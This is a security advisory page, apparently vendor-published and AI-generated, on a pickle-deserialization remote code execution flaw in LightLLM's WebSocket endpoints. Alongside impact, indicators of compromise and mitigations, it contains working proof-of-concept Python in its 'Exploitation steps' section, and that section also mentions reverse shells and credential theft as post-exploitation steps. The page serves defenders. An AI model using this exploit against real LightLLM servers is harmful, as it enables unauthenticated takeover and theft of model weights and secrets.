CVE-2026-26220: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-26220 is an unauthenticated remote code execution (RCE) vulnerability in LightLLM's PD (prefill-decode) disaggregation mode caused by unsafe pickle deserialization over WebSocket endpoints. It affects LightLLM version 1.1.0 and all prior versions. The vulnerability was reported on February 15, 2026 by researcher Chocapikk and published on February 17, 2026. It carries a CVSS v4.0 base score of 9.3 (Critical), assigned by VulnCheck (GitHub Issue, Red Hat Advisory).

Technical details

The root cause is CWE-502 (Deserialization of Untrusted Data): the PD master node's WebSocket endpoints (/pd_register and /kv_move_status) in lightllm/server/api_http.py call pickle.loads() directly on binary frames received from any connecting client, with no authentication, input validation, or message signing. The PD master is explicitly configured to bind to non-localhost addresses (assert manager.args.host not in ["127.0.0.1", "localhost"]), ensuring the endpoints are always network-exposed by design. Additional unsafe pickle.loads() calls exist in pd_loop.py (worker PD loop and config server response parsing), broadening the attack surface. A prior similar issue via ZMQ recv_pyobj() (reported March 2025, issue #784) remained unfixed for 11 months, and a GitHub Security report (issue #1102, November 2025) was ignored, demonstrating a pattern of inaction (GitHub Issue, LightLLM Source).

Impact

Successful exploitation grants an unauthenticated remote attacker arbitrary code execution on the LightLLM PD master node with the privileges of the server process. This results in complete compromise of confidentiality, integrity, and availability of the affected system. Given that LightLLM is typically deployed in AI/ML inference infrastructure, exploitation could expose model weights, training data, API keys, and enable lateral movement to connected GPU nodes or internal networks. No user interaction or special privileges are required (GitHub Issue, Red Hat Advisory).

Exploitability

A working proof-of-concept exploit was publicly disclosed by the reporter (Chocapikk) alongside the CVE, with a full technical write-up at https://chocapikk.com/posts/2026/lightllm-pickle-rce. The PoC was confirmed to achieve RCE on both /pd_register and /kv_move_status endpoints. As of the time of reporting, there is no evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is 0.0065 (0.65%), and the vulnerability is not currently listed in the CISA KEV catalog. The vulnerability is trivially exploitable with no authentication barrier and requires only network access to the PD master port (GitHub Issue, Feedly).

Exploitation steps

  1. Reconnaissance: Identify internet- or network-facing LightLLM instances running in PD disaggregation mode (--run_mode pd_master, prefill, or decode) using Shodan, Censys, or internal network scanning. The default port is typically 8000.
  2. Verify target: Confirm the target is a PD master by checking for WebSocket endpoint availability at ws://TARGET:8000/pd_register or ws://TARGET:8000/kv_move_status.
  3. Craft malicious pickle payload: Create a Python pickle payload that executes an arbitrary OS command using the __reduce__ method:
import pickle, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(RCE())
  1. Establish WebSocket connection and send registration frame: For /pd_register, first send a required JSON text frame to pass the registration step:
import json, asyncio, websockets
async def exploit(target):
    async with websockets.connect(f'{target}/pd_register') as ws:
        await ws.send(json.dumps({"node_id": 9999, "client_ip_port": "127.0.0.1:9999", "mode": "prefill", "start_args": {}}))
        await ws.send(payload)  # binary frame triggers pickle.loads()
asyncio.run(exploit('ws://TARGET:8000'))
  1. Achieve RCE: The server calls pickle.loads(data) on the binary frame, executing the embedded command as the LightLLM service account. For /kv_move_status, no registration frame is needed — send the pickle payload directly as a binary frame.
  2. Post-exploitation: Establish a reverse shell, exfiltrate model weights or credentials, or pivot to connected internal nodes (GitHub Issue).

Indicators of compromise

  • Network: Unexpected WebSocket upgrade requests (Upgrade: websocket) to /pd_register or /kv_move_status from untrusted or external IP addresses; outbound connections from the LightLLM process to unknown external hosts following WebSocket activity.
  • Logs: LightLLM server logs showing Client connected from IP entries for unexpected source IPs on /pd_register or kv_move_status Client connected from IP for /kv_move_status; Python exceptions or tracebacks related to pickle deserialization of unexpected object types.
  • File System: Unexpected files created in /tmp/ (e.g., /tmp/pwned from PoC); new scripts, cron jobs, or SSH authorized_keys modifications owned by the LightLLM service account.
  • Process: Unusual child processes spawned by the LightLLM Python process (e.g., bash, sh, curl, wget, python3 with unexpected arguments); unexpected network listeners opened by child processes of the LightLLM server (GitHub Issue).

Mitigation and workarounds

No official patch was available at the time of disclosure; users should monitor the LightLLM repository for a release newer than 1.1.0 that addresses this issue. As immediate workarounds: (1) restrict network access to the PD master node's port using firewall rules, allowing only trusted prefill/decode worker IPs; (2) if PD disaggregation mode is not operationally required, disable it; (3) deploy the LightLLM PD master behind a VPN or private network segment inaccessible from untrusted hosts; (4) implement WebSocket authentication (token-based or TLS client certificates) as a custom patch. The recommended long-term fix is to replace pickle.loads() with a safe serialization format (JSON, MessagePack, or protobuf) and add HMAC-based message signing for all inter-node communication (GitHub Issue, Red Hat Advisory).

Community reactions

The vulnerability was reported by researcher Chocapikk, who published a full technical write-up at https://chocapikk.com/posts/2026/lightllm-pickle-rce and noted that prior security reports to the LightLLM project (including a ZMQ pickle issue open for 11 months and an ignored GitHub Security report) went unaddressed, prompting public CVE disclosure. The issue was covered in the TLDR InfoSec newsletter (February 17, 2026) and discussed on Mastodon/InfoSec.exchange. A broader blog post on Undercode Testing grouped this vulnerability with similar pickle deserialization RCEs in other AI tools, highlighting a systemic pattern in the ML inference ecosystem (GitHub Issue, TLDR InfoSec).

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
GHSA-jqmf-mx4f-hfr6CRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
GHSA-8mcx-5rqc-vhmfHIGH8.8
  • Python logoPython
  • dulwich
NoYesOct 02, 2026
GHSA-5rmq-chc7-m22fHIGH7.5
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
GHSA-35mr-4567-66vgMEDIUM6.5
  • Python logoPython
  • dulwich
NoYesOct 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management